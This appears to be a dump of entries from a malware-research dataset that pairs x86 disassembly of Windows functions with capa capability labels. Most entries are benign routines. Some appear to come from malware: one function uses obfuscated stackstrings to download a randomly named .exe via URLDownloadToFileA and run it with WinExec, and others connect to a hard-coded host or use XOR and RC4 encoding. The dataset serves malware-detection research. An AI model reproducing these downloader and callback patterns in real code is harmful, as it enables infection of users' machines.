joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42a130
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [ebp + 8]
mov byte [ebp - 1], 0
push esi
push edi
mov edi, ecx
test ebx, ebx
jne 0x42a175
mov ecx, dword [edi + 0x24]
test ecx, ecx
je 0x42a16a
mov eax, dword [ecx]
push 0x511ff0
push 0x50df2b
push ecx
mov esi, dword [eax + 0x20]
mov ecx, esi
call dword [0x4f4350]
call esi
add esp, 0xc
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, ebx
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42a180
sub ecx, edx
lea esi, [edi + 0xc]
push ecx
push ebx
mov ecx, esi
call fcn.004033f0
cmp dword [esi + 0x14], 0x10
jb 0x42a19d
mov esi, dword [esi]
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
mov ecx, 1
push 0
sete al
mov edx, edi
cmp dword [ebp + 0xc], 0
mov byte [edi + 8], al
mov eax, 6
cmove eax, ecx
mov ecx, ebx
push eax
call fcn.004c8820
mov ecx, dword [edi + 0x24]
add esp, 8
mov dword [edi + 4], eax
test eax, eax
jne 0x42a2b1
test ecx, ecx
je 0x42a1fc
mov esi, dword [ecx]
push ebx
push 0x512090
push 0x50df2b
mov esi, dword [esi + 0x20]
push ecx
mov ecx, esi
call dword [0x4f4350]
call esi
add esp, 0x10
mov esi, dword [edi]
push esi
push 0x4c6c40
push esi
call fcn.004c6cb0
add esp, 0xc
mov dword [esi + 0x1d8], 0x3e8
lea eax, [ebp - 8]
mov dword [ebp - 8], 0xffffffff
mov ecx, edi
push eax
push 0x429d50
push 0x512548
call fcn.0042dd30
test al, al
jne 0x42a26d
mov ecx, dword [edi + 0x24]
test ecx, ecx
je 0x42a2d3
mov eax, dword [ecx]
push 0x5120f0
push 0x50df2b
push ecx
mov esi, dword [eax + 0x20]
mov ecx, esi
call dword [0x4f4350]
call esi
mov bl, byte [ebp - 1]
add esp, 0xc
mov al, bl
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
cmp dword [ebp - 8], 0
mov ecx, edi
jne 0x42a27c
call fcn.0042d7a0
jmp 0x42a281
call fcn.0042db60
mov ecx, dword [edi + 0x24]
test al, al
je 0x42a23a
mov bl, 1
test ecx, ecx
je 0x42a2d6
mov eax, dword [ecx]
push 0x512058
push ecx
mov esi, dword [eax + 0x14]
mov ecx, esi
call dword [0x4f4350]
call esi
add esp, 8
mov al, bl
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
test ecx, ecx
je 0x42a2d3
mov esi, dword [ecx]
push ebx
push str.__Y0
push 0x50df2b
mov esi, dword [esi + 0x20]
push ecx
mov ecx, esi
call dword [0x4f4350]
call esi
add esp, 0x10
mov bl, byte [ebp - 1]
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x463400
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov eax, ecx
mov ebx, edx
push edi
push 0
push 0x14
mov dword [ebp - 4], eax
mov dword [eax], 0
call fcn.00431720
mov esi, eax
add esp, 8
test esi, esi
jne 0x463432
lea eax, [esi + 7]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp byte [0x52207c], 0
je 0x463484
mov edi, dword [0x52216c]
test edi, edi
je 0x46345b
push 0xc8
mov ecx, edi
call dword [0x4f4350]
call edi
add esp, 4
test eax, eax
jne 0x463484
mov edi, dword [ebp + 8]
lea eax, [esi + 4]
push eax
push 0
push esi
push 0x4349a0
push 0
push 0
mov dword [esi + 8], ebx
mov dword [esi + 0xc], edi
call fcn.004da73c
add esp, 0x18
mov dword [esi], eax
test eax, eax
jne 0x463494
jmp 0x463487
mov edi, dword [ebp + 8]
xorps xmm0, xmm0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
cmp dword [esi + 8], 0
jne 0x4634b4
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push edi
mov ecx, ebx
mov dword [esi + 4], eax
call dword [0x4f4350]
call ebx
add esp, 4
mov dword [esi + 0x10], eax
mov eax, dword [ebp - 4]
pop edi
mov dword [eax], esi
xor eax, eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x49a6fb
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
cmp dword [ebp + 8], 0
jne 0x49a70e
xor eax, eax
jmp 0x49a7a7
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0xc], ecx
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x10], ecx
and dword [ebp - 4], 0
jmp 0x49a746
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
cmp ecx, dword [eax + 0x18]
jae 0x49a7a5
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp + 8]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x14], edx
push dword [ebp + 0xc]
push dword [ebp - 0x14]
call fcn.0049a6b0
pop ecx
pop ecx
movzx eax, al
test eax, eax
je 0x49a7a3
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x18]
movzx eax, word [ecx + eax*2]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp + 8]
add edx, dword [ecx + eax*4]
mov eax, edx
jmp 0x49a7a7
jmp 0x49a73f
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x49a908
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov dword [ebp - 8], 0x523dd4
and dword [ebp - 0x2c], 0
lea eax, [ebp - 0x2c]
push eax
push 0
call fcn.0049a874
pop ecx
pop ecx
mov dword [ebp - 0x40], eax
push 0
mov eax, dword [ebp - 8]
push dword [eax]
call fcn.0049a874
pop ecx
pop ecx
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x38]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp dword [eax], 0
je 0x49a9c1
push dword [ebp - 0x30]
call fcn.0049a68a
pop ecx
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
mov ecx, dword [ebp - 0x14]
movzx ecx, byte [ecx]
cmp eax, ecx
je 0x49a982
movzx eax, byte [ebp - 1]
mov ecx, dword [ebp - 0x14]
movzx ecx, byte [ecx + 1]
cmp eax, ecx
je 0x49a982
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push dword [ebp - 0x30]
call fcn.0049a7f0
pop ecx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x14]
add eax, 4
mov dword [ebp - 0x14], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x34]
cmp edx, dword [ecx + eax]
je 0x49a9c1
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x34]
cmp edx, dword [ecx + eax]
je 0x49a9c1
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
and dword [ebp - 0x20], 0
and dword [ebp - 0x38], 0
mov dword [ebp - 0xc], 4
and dword [ebp - 0x10], 0
and dword [ebp - 0x28], 0
mov eax, dword [ebp - 8]
push dword [eax + 0x24]
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x18], eax
and dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x18]
Function at 0x49a9f0
Capabilities:
Terminate process

Disassembly:
mov dword [ebp - 0x20], eax
and dword [ebp - 0x24], 0
and dword [ebp - 0xc], 0
jmp 0x49aa09
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x10]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x1c]
cmp dword [ebp - 0xc], eax
jae 0x49aa2d
mov eax, dword [ebp - 8]
mov eax, dword [eax + 8]
mov ecx, dword [ebp - 0xc]
mov eax, dword [eax + ecx]
add eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov dword [ecx], eax
jmp 0x49a9fd
push dword [ebp - 0x20]
push dword [ebp - 0x3c]
call fcn.0049a6fb
pop ecx
pop ecx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x49aa4d
jmp 0x49ab00
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x28]
push eax
mov eax, dword [ebp - 8]
push dword [eax + 0x1c]
mov eax, dword [ebp - 8]
push dword [eax + 0x14]
push dword [ebp - 0x10]
call dword [ebp - 0x1c]
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x18]
add eax, dword [ebp - 0x40]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 4]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0xc], 8
jmp 0x49aa96
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x10]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x14]
cmp dword [ebp - 0xc], eax
jae 0x49aab6
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0xc]
mov eax, dword [eax]
add eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x10]
add ecx, dword [ebp - 0xc]
mov dword [ecx], eax
jmp 0x49aa8a
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x28]
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 8], eax
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
mov eax, dword [ebp - 8]
push dword [eax + 0x14]
push dword [ebp - 0x10]
call dword [ebp - 0x1c]
mov eax, dword [ebp - 8]
mov eax, dword [eax + 4]
add eax, dword [ebp - 0x10]
invalid
dec ebp
Function at 0x4e4493
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004e4144

Function at 0x4e449e
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004e42ce

Function at 0x4e73f8
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004e7075
Function at 0x1005211
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x28
push 0x10015c8
call fcn.01005410
cmp word [0x1000000], 0x5a4d
jne 0x1005250
mov eax, dword [0x100003c]
cmp dword [eax + 0x1000000], 0x4550
jne 0x1005250
movzx ecx, word [eax + 0x1000018]
cmp ecx, 0x10b
je 0x1005269
cmp ecx, 0x20b
je 0x1005256
and dword [ebp - 0x1c], 0
jmp 0x1005280
cmp dword [eax + 0x1000084], 0xe
jbe 0x1005250
xor ecx, ecx
cmp dword [eax + 0x10000f8], ecx
jmp 0x100527a
cmp dword [eax + 0x1000074], 0xe
jbe 0x1005250
xor ecx, ecx
cmp dword [eax + 0x10000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
and dword [ebp - 4], 0
push 1
call dword [sym.imp.msvcrt.dll___set_app_type]
pop ecx
or dword [0x10061cc], 0xffffffff
or dword [0x10061d0], 0xffffffff
call dword [sym.imp.msvcrt.dll___p__fmode]
mov ecx, dword [0x10061c8]
mov dword [eax], ecx
call dword [sym.imp.msvcrt.dll___p__commode]
mov ecx, dword [0x10061c4]
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x10061d4], eax
call fcn.0100540c
cmp dword [0x10061b0], 0
jne 0x10052dd
push fcn.0100540c
call dword [sym.imp.msvcrt.dll___setusermatherr]
pop ecx
call fcn.010053fa
push 0x1006010
push 0x100600c
call sub.msvcrt.dll__initterm
mov eax, dword [0x10061c0]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
push dword [0x10061bc]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.msvcrt.dll___wgetmainargs]
mov dword [ebp - 0x34], eax
push 0x1006008
push section..data
call sub.msvcrt.dll__initterm
mov eax, dword [ebp - 0x20]
mov ecx, dword [sym.imp.msvcrt.dll___winitenv]
mov dword [ecx], eax
push dword [ebp - 0x20]
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
call fcn.010020c5
add esp, 0x30
mov esi, eax
mov dword [ebp - 0x38], esi
cmp dword [ebp - 0x1c], 0
jne 0x1005355
push esi
call dword [sym.imp.msvcrt.dll_exit]
call dword [sym.imp.msvcrt.dll__cexit]
jmp 0x100538a
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.0100544b
ret
Function at 0x401020
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x63
nop
mov eax, 0xffffff9d
nop
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, eax
test ecx, ecx
jge 0x401056
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x40104d
pop ebp
ret
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
pop ebp
ret
mov eax, 0x63
nop
mov eax, 0xffffff9d
nop
mov eax, ecx
pop ebp
ret
Function at 0x40136d
Capabilities:
Contain obfuscated stackstrings
Get common file path

Disassembly:
mov eax, 0x402620
call fcn.00402450
sub esp, 0x1cc
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
lea eax, [ebp - 0x18]
mov dword [ebp - 0x10], esp
push eax
lea eax, [ebp - 0x34]
xor ebx, ebx
push eax
mov byte [ebp - 0x24], 0x75
mov byte [ebp - 0x23], 0x72
mov byte [ebp - 0x22], 0x6c
mov byte [ebp - 0x21], 0x6d
mov byte [ebp - 0x20], 0x6f
mov byte [ebp - 0x1f], 0x6e
mov byte [ebp - 0x1e], 0x2e
mov byte [ebp - 0x1d], 0x64
mov byte [ebp - 0x1c], 0x6c
mov byte [ebp - 0x1b], 0x6c
mov byte [ebp - 0x1a], bl
mov byte [ebp - 0x18], 0x57
mov byte [ebp - 0x17], 0x69
mov byte [ebp - 0x16], 0x6e
mov byte [ebp - 0x15], 0x45
mov byte [ebp - 0x14], 0x78
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x63
mov byte [ebp - 0x11], bl
mov byte [ebp - 0x34], 0x4b
mov byte [ebp - 0x33], 0x45
mov byte [ebp - 0x32], 0x52
mov byte [ebp - 0x31], 0x4e
mov byte [ebp - 0x30], 0x45
mov byte [ebp - 0x2f], 0x4c
mov byte [ebp - 0x2e], 0x33
mov byte [ebp - 0x2d], 0x32
mov byte [ebp - 0x2c], 0x2e
mov byte [ebp - 0x2b], 0x64
mov byte [ebp - 0x2a], 0x6c
mov byte [ebp - 0x29], 0x6c
mov byte [ebp - 0x28], bl
mov byte [ebp - 0x48], 0x55
mov byte [ebp - 0x47], 0x52
mov byte [ebp - 0x46], 0x4c
mov byte [ebp - 0x45], 0x44
mov byte [ebp - 0x44], 0x6f
mov byte [ebp - 0x43], 0x77
mov byte [ebp - 0x42], 0x6e
mov byte [ebp - 0x41], 0x6c
mov byte [ebp - 0x40], 0x6f
mov byte [ebp - 0x3f], 0x61
mov byte [ebp - 0x3e], 0x64
mov byte [ebp - 0x3d], 0x54
mov byte [ebp - 0x3c], 0x6f
mov byte [ebp - 0x3b], 0x46
mov byte [ebp - 0x3a], 0x69
mov byte [ebp - 0x39], 0x6c
mov byte [ebp - 0x38], 0x65
mov byte [ebp - 0x37], 0x41
mov byte [ebp - 0x36], bl
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
mov dword [ebp - 0x4c], eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x1d7]
mov byte [ebp - 0x1d8], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x1f
xor eax, eax
pop ecx
lea edi, [ebp - 0xd3]
mov byte [ebp - 0xd4], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x1d8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x1a
call fcn.00401000
pop ecx
add eax, 0x61
push eax
push 0x1a
call fcn.00401000
pop ecx
add eax, 0x61
push eax
push 0x1a
call fcn.00401000
pop ecx
add eax, 0x61
push eax
lea eax, [ebp - 0xd4]
push str.win_ca_cb_cd.exe
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea eax, [ebp - 0xd4]
push eax
lea eax, [ebp - 0x1d8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x24]
push eax
call esi
mov dword [ebp - 0x54], eax
lea eax, [ebp - 0x50]
push 0x403160
push eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0x50], 0x4c
call sub.MSVCRT.dll__CxxThrowException
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 0x54]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ebx, ebx
lea ecx, [ebp - 0x1d8]
push ebx
push 0xa
push ecx
push dword [ebp + 8]
push ebx
call eax
lea eax, [ebp - 0x1d8]
push ebx
push eax
call dword [ebp - 0x4c]
mov eax, 0x401543
ret
Function at 0x401554
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov eax, 0x63
nop
mov eax, 0xffffff9d
nop
mov eax, dword [ebp + 0x10]
mov ecx, 0xfe
and eax, 0xee
xor esi, esi
cdq
idiv ecx
inc dl
cmp dword [ebp + 0xc], esi
jle 0x401590
mov eax, dword [ebp + 8]
mov cl, dl
add eax, esi
xor cl, byte [eax]
add cl, dl
inc esi
cmp esi, dword [ebp + 0xc]
mov byte [eax], cl
jl 0x40157d
pop esi
pop ebp
ret

Function at 0x401593
Capabilities:
Contain obfuscated stackstrings
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
lea eax, [ebp - 0xc]
push esi
push eax
lea eax, [ebp - 0x18]
xor ebx, ebx
push eax
mov byte [ebp - 0xc], 0x57
mov byte [ebp - 0xb], 0x53
mov byte [ebp - 0xa], 0x41
mov byte [ebp - 9], 0x49
mov byte [ebp - 8], 0x6f
mov byte [ebp - 7], 0x63
mov byte [ebp - 6], 0x74
mov byte [ebp - 5], 0x6c
mov byte [ebp - 4], bl
mov byte [ebp - 0x18], 0x57
mov byte [ebp - 0x17], 0x53
mov byte [ebp - 0x16], 0x32
mov byte [ebp - 0x15], 0x5f
mov byte [ebp - 0x14], 0x33
mov byte [ebp - 0x13], 0x32
mov byte [ebp - 0x12], 0x2e
mov byte [ebp - 0x11], 0x64
mov byte [ebp - 0x10], 0x6c
mov byte [ebp - 0xf], 0x6c
mov byte [ebp - 0xe], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov eax, 0x63
nop
mov eax, 0xffffff9d
nop
lea eax, [ebp + 0xc]
push 4
push eax
push 8
push 0xffff
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
je 0x401636
mov eax, 0x63
nop
mov eax, 0xffffff9d
nop
jmp 0x40167b
mov eax, 0x63
nop
mov eax, 0xffffff9d
nop
push ebx
lea eax, [ebp + 0xc]
push ebx
push eax
push ebx
push ebx
lea eax, [ebp - 0x24]
push 0xc
push eax
push 0x98000004
push dword [ebp + 8]
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x20], 0x2bf20
mov dword [ebp - 0x1c], 0x2710
call esi
mov eax, 0x63
nop
mov eax, 0xffffff9d
nop
pop esi
pop ebx
leave
ret
Function at 0x401ae7
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov ax, word [0x404094]
push esi
push eax
mov word [ebp - 0x10], 2
call dword [sym.imp.WS2_32.dll_htons]
push str.mj3716_wdpsfgdmcfdv
mov word [ebp - 0xe], ax
call fcn.00401020
pop ecx
mov dword [ebp - 0xc], eax
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
lea eax, [ebp - 0x10]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x401b3f
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
jmp 0x401b41
mov eax, esi
pop esi
leave
ret
Function at 0x402113
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x40262c
call fcn.00402450
sub esp, 0x104
push ebx
push esi
push edi
lea eax, [ebp - 0x24]
mov dword [ebp - 0x10], esp
xor ebx, ebx
push eax
mov byte [ebp - 0x34], 0x47
mov byte [ebp - 0x33], 0x65
mov byte [ebp - 0x32], 0x74
mov byte [ebp - 0x31], 0x4c
mov byte [ebp - 0x30], 0x6f
mov byte [ebp - 0x2f], 0x63
mov byte [ebp - 0x2e], 0x61
mov byte [ebp - 0x2d], 0x6c
mov byte [ebp - 0x2c], 0x54
mov byte [ebp - 0x2b], 0x69
mov byte [ebp - 0x2a], 0x6d
mov byte [ebp - 0x29], 0x65
mov byte [ebp - 0x28], bl
mov byte [ebp - 0x24], 0x6b
mov byte [ebp - 0x23], 0x65
mov byte [ebp - 0x22], 0x72
mov byte [ebp - 0x21], 0x6e
mov byte [ebp - 0x20], 0x65
mov byte [ebp - 0x1f], 0x6c
mov byte [ebp - 0x1e], 0x33
mov byte [ebp - 0x1d], 0x32
mov byte [ebp - 0x1c], 0x2e
mov byte [ebp - 0x1b], 0x44
mov byte [ebp - 0x1a], 0x4c
mov byte [ebp - 0x19], 0x4c
mov byte [ebp - 0x18], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [ebp - 0x34]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x5c], eax
push ecx
call eax
movzx eax, word [ebp - 0x64]
cmp eax, 0x31
mov dword [ebp - 0x14], eax
jle 0x4021c1
sub dword [ebp - 0x14], 0x32
jmp 0x4021c5
add dword [ebp - 0x14], 0xa
lea eax, [ebp - 0x70]
push eax
call dword [ebp - 0x5c]
lea eax, [ebp - 0x58]
push 0x403160
push eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0x58], 0x21
call sub.MSVCRT.dll__CxxThrowException
movzx eax, word [ebp - 0x64]
cmp eax, dword [ebp - 0x14]
jne 0x4021f3
mov eax, 0x402201
ret
mov eax, 0x4021f9
ret
Function at 0x33141afc
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x33161008], 0x8088405
inc edx
mov dword [ebx + 0x33161008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x33143d64
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.33142af4
xor eax, eax
push ebp
push 0x33143dd3
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.3314290c
mov esi, eax
test esi, esi
jle 0x33143db3
mov ebx, 1
lea eax, [ebp - 4]
call fcn.33142b58
mov edx, dword [ebp - 4]
mov dl, byte [edx + ebx - 1]
xor dl, 0xbc
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x33143d99
mov eax, edi
mov edx, dword [ebp - 4]
call fcn.331427c8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x33143dda
lea eax, [ebp - 4]
call fcn.33142774
ret

Function at 0x33144f04
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
push edi
mov ebx, ecx
mov edi, edx
mov esi, eax
xor eax, eax
push ebp
push 0x33144fdf
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.33142774
test esi, esi
je 0x33144f56
mov eax, esi
and eax, 0xf
cdq
xor eax, edx
sub eax, edx
mov dl, byte [eax + 0x331610c0]
lea eax, [ebp - 4]
call fcn.331428a8
mov edx, dword [ebp - 4]
mov ecx, dword [ebx]
mov eax, ebx
call fcn.33142958
shr esi, 4
test esi, esi
jne 0x33144f2b
cmp dword [ebx], 0
jne 0x33144f78
jmp 0x33144f6b
mov ecx, dword [ebx]
mov eax, ebx
mov edx, 0x33144ff4
call fcn.33142958
mov eax, dword [ebx]
call fcn.3314290c
cmp edi, eax
jg 0x33144f5d
jmp 0x33144fc9
mov eax, dword [ebx]
call fcn.3314290c
mov edx, dword [ebx]
cmp byte [edx + eax - 1], 0x2d
jne 0x33144fbe
mov eax, dword [ebx]
call fcn.3314290c
mov edx, eax
mov eax, ebx
mov ecx, 1
call fcn.33142ba0
mov edx, ebx
mov ecx, 1
mov eax, 0x33145000
call fcn.33142be8
jmp 0x33144fbe
mov ecx, dword [ebx]
mov eax, ebx
mov edx, 0x33144ff4
call fcn.33142958
mov eax, dword [ebx]
call fcn.3314290c
cmp edi, eax
jg 0x33144fb0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x33144fe6
lea eax, [ebp - 4]
call fcn.33142774
ret
Function at 0x33146b0c
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.33142af4
xor eax, eax
push ebp
push 0x33146be2
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
xor ebx, ebx
mov eax, dword [ebp + 8]
add eax, 0xffffff00
mov byte [eax], bl
inc ebx
inc eax
cmp ebx, 0x100
jne 0x33146b40
xor ebx, ebx
lea esi, [ebp - 0x108]
mov eax, dword [ebp - 4]
call fcn.3314290c
push eax
mov eax, ebx
pop edx
mov ecx, edx
cdq
idiv ecx
mov eax, dword [ebp - 4]
mov al, byte [eax + edx]
mov byte [esi], al
inc ebx
inc esi
cmp ebx, 0x100
jne 0x33146b54
mov ebx, pe_nt_image_headers32
mov eax, dword [ebp + 8]
add eax, 0xffffff00
lea esi, [ebp - 0x108]
mov dl, byte [eax]
xor ecx, ecx
mov cl, dl
add ecx, dword [ebp - 8]
movzx edi, byte [esi]
add ecx, edi
and ecx, 0x800000ff
jns 0x33146ba8
dec ecx
or ecx, 0xffffff00
inc ecx
mov dword [ebp - 8], ecx
mov ecx, dword [ebp + 8]
mov edi, dword [ebp - 8]
mov cl, byte [ecx + edi - 0x100]
mov byte [eax], cl
mov ecx, dword [ebp + 8]
mov edi, dword [ebp - 8]
mov byte [ecx + edi - 0x100], dl
inc esi
inc eax
dec ebx
jne 0x33146b8a
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x33146be9
lea eax, [ebp - 4]
call fcn.33142774
ret

Function at 0x33146d90
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, ecx
dec eax
test eax, eax
jl 0x33146e06
inc eax
xor esi, esi
inc byte [0x33162800]
xor edx, edx
mov dl, byte [0x33162800]
mov cl, byte [edx + 0x33162700]
add byte [0x33162801], cl
xor ebx, ebx
mov bl, byte [0x33162801]
mov bl, byte [ebx + 0x33162700]
mov byte [edx + 0x33162700], bl
xor ebx, ebx
mov bl, byte [0x33162801]
mov byte [ebx + 0x33162700], cl
add cl, byte [edx + 0x33162700]
mov edx, dword [ebp - 4]
mov dl, byte [edx + esi]
and ecx, 0xff
xor dl, byte [ecx + 0x33162700]
mov ecx, dword [ebp - 8]
mov byte [ecx + esi], dl
inc esi
dec eax
jne 0x33146da8
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret

Function at 0x3314722c
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov word [ebp - 2], cx
mov edi, edx
mov ebx, eax
mov esi, dword [ebp + 8]
mov eax, esi
mov edx, ebx
call fcn.331427c8
mov eax, dword [esi]
call fcn.3314290c
test ax, ax
jbe 0x3314729b
mov word [ebp - 4], ax
mov bx, 1
mov eax, esi
call fcn.33142b58
movzx edx, bx
lea eax, [eax + edx - 1]
push eax
movzx eax, bx
mov edx, dword [esi]
